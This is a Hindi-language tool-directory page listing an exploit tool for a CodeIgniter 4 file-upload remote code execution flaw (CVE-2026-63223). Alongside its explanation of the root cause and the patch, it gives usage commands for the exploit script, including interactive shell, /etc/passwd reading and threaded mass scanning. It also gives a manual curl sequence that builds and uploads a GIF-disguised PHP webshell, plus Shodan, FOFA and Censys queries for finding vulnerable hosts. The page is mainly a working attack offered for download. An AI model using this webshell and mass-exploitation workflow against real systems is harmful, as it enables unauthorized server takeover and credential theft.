Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in फ़ाइल अपलोड RCE। मैजिक बाइट्स बायपास (getExtension बनाम getClientExtension)। CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
उपकरण/GitHubGitHub/shinthink/cve-2026-63223
वेब भेद्यता स्कैनरपेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in फ़ाइल अपलोड RCE। मैजिक बाइट्स बायपास (getExtension बनाम getClientExtension)। CVSS 9.8 | CWE-434 | CI4 < 4.7.4

रिपॉजिटरी देखें
141 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-63223 — CodeIgniter 4 फ़ाइल अपलोड RCE

मैजिक बाइट्स बाइपास → is_image/mime_in → PHP वेबशेल → RCE


अवलोकन

CVE-2026-63223 एक गंभीर-स्तर (CVSS 9.8) बिना-प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता है, जो CodeIgniter 4 — एक PHP फुल-स्टैक वेब फ्रेमवर्क — में मौजूद है और 4.7.4 से पहले के संस्करणों को प्रभावित करती है।

यह भेद्यता is_image और mime_in फ़ाइल अपलोड सत्यापन नियमों का शोषण करती है, जो क्लाइंट द्वारा आपूर्ति किए गए फ़ाइलनाम एक्सटेंशन को सत्यापित किए बिना (मैजिक बाइट्स) की जाँच करते हैं। एक हमलावर PHP कोड के साथ इमेज मैजिक बाइट्स (GIF89a, JPEG, PNG हेडर) जोड़ता है, फ़ाइल का नाम रखता है, सत्यापन पास करता है, और जब फ़ाइल किसी वेब-सुलभ PHP-निष्पादन योग्य निर्देशिका में पहुँचती है तो RCE प्राप्त करता है।

केवल सामग्री-व्युत्पन्न MIME प्रकार
shell.php

CVSS: 9.8 क्रिटिकल — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H खोज: 31 जुलाई, 2026 | एडवाइजरी: GHSA-mmj4-63m4-r6h5 समाधान: CodeIgniter 4 v4.7.4

प्रभावित संस्करण

संस्करणस्थिति
< 4.7.4असुरक्षित
4.7.4+पैच किया गया

CWE: CWE-434 — खतरनाक प्रकार वाली फ़ाइल का प्रतिबंधरहित अपलोड संदर्भ PoC: imbas007/CVE-2026-63223-POC


भेद्यता तंत्र

मूल कारण

CodeIgniter 4 का is_image सत्यापन नियम getExtension() — जो मैजिक बाइट्स से व्युत्पन्न एक्सटेंशन लौटाता है (जैसे, gif) — को Mimes::guessTypeFromExtension() के माध्यम से मैप करता है ताकि यह निर्धारित किया जा सके कि फ़ाइल एक इमेज है या नहीं। क्लाइंट-आपूर्ति फ़ाइलनाम एक्सटेंशन (getClientExtension(), जैसे, php) की कभी जाँच नहीं की जाती:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

यह क्यों काम करता है

  1. getExtension() ≠ getClientExtension() — पहला मैजिक बाइट्स (gif) से व्युत्पन्न होता है, जबकि दूसरा क्लाइंट फ़ाइलनाम (php) से
  2. सत्यापन बाइट्स पर भरोसा करता है, नाम पर नहीं — is_image पास हो जाता है क्योंकि Mimes::guessTypeFromExtension("gif") image/gif लौटाता है
  3. फ़ाइल क्लाइंट नाम के साथ सहेजी जाती है — $file->move($path, $file->getClientName()) .php एक्सटेंशन को बनाए रखता है
  4. v4.7.4 से पहले कोई क्रॉस-चेक नहीं — इस बात का कोई सत्यापन नहीं कि क्लाइंट एक्सटेंशन पहचाने गए प्रकार से मेल खाता है
  5. वेब-सुलभ अपलोड — डिफ़ॉल्ट/सार्वजनिक अपलोड निर्देशिकाएँ PHP फ़ाइलों को सीधे सर्व करती हैं

हमला प्रवाह

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

सुधार (v4.7.4)

पैच hasInvalidImageClientExtension() जोड़ता है — जो अब क्लाइंट एक्सटेंशन की भी जाँच करता है:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

मुख्य परिवर्तन: is_image अब getExtension() (सामग्री-व्युत्पन्न, वास्तविक इमेज जाँच के लिए) और getClientExtension() (क्लाइंट-आपूर्ति, .php जैसे गैर-इमेज एक्सटेंशन को अस्वीकार करने के लिए) दोनों को सत्यापित करता है।


इंस्टॉलेशन

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

उपयोग

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

तर्क

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

अवधारणा प्रमाण

एकल लक्ष्य

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

मैन्युअल शोषण (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

प्रभाव

सफल शोषण से वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:

  • मनमाने सिस्टम कमांड निष्पादित करें
  • .env फ़ाइलों से डेटाबेस क्रेडेंशियल एक्सेस करें
  • स्थायी बैकडोर तैनात करें
  • आंतरिक नेटवर्क में पिवट करें
  • एप्लिकेशन को विकृत या समझौता करें

किसी खाते या प्रमाणीकरण की आवश्यकता नहीं है — ext_in के बिना is_image/mime_in का उपयोग करने वाले अपलोड एंडपॉइंट डिफ़ॉल्ट रूप से असुरक्षित हैं।


सुधार (v4.7.4)

  1. CodeIgniter 4 v4.7.4 या उसके बाद के संस्करण में अपग्रेड करें
  2. वर्कअराउंड: is_image/mime_in को ext_in सत्यापन नियम के साथ जोड़ें
  3. अपलोड को वेब रूट के बाहर संग्रहीत करें और readfile() प्रॉक्सी के माध्यम से सर्व करें
  4. getRandomName() के साथ सर्वर-नियंत्रित फ़ाइलनाम उत्पन्न करें

अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।

बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध उपयोग न करें। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेते हैं।


संदर्भ

संसाधनलिंक
GitHub एडवाइजरीGHSA-mmj4-63m4-r6h5
संदर्भ PoCimbas007/CVE-2026-63223-POC
NVD प्रविष्टिCVE-2026-63223
CodeIgniter v4.7.4परिवर्तन लॉग
CWE-434प्रतिबंधरहित अपलोड

CodeIgniter फ़ाउंडेशन से संबद्ध नहीं है।

टूल डाउनलोड करें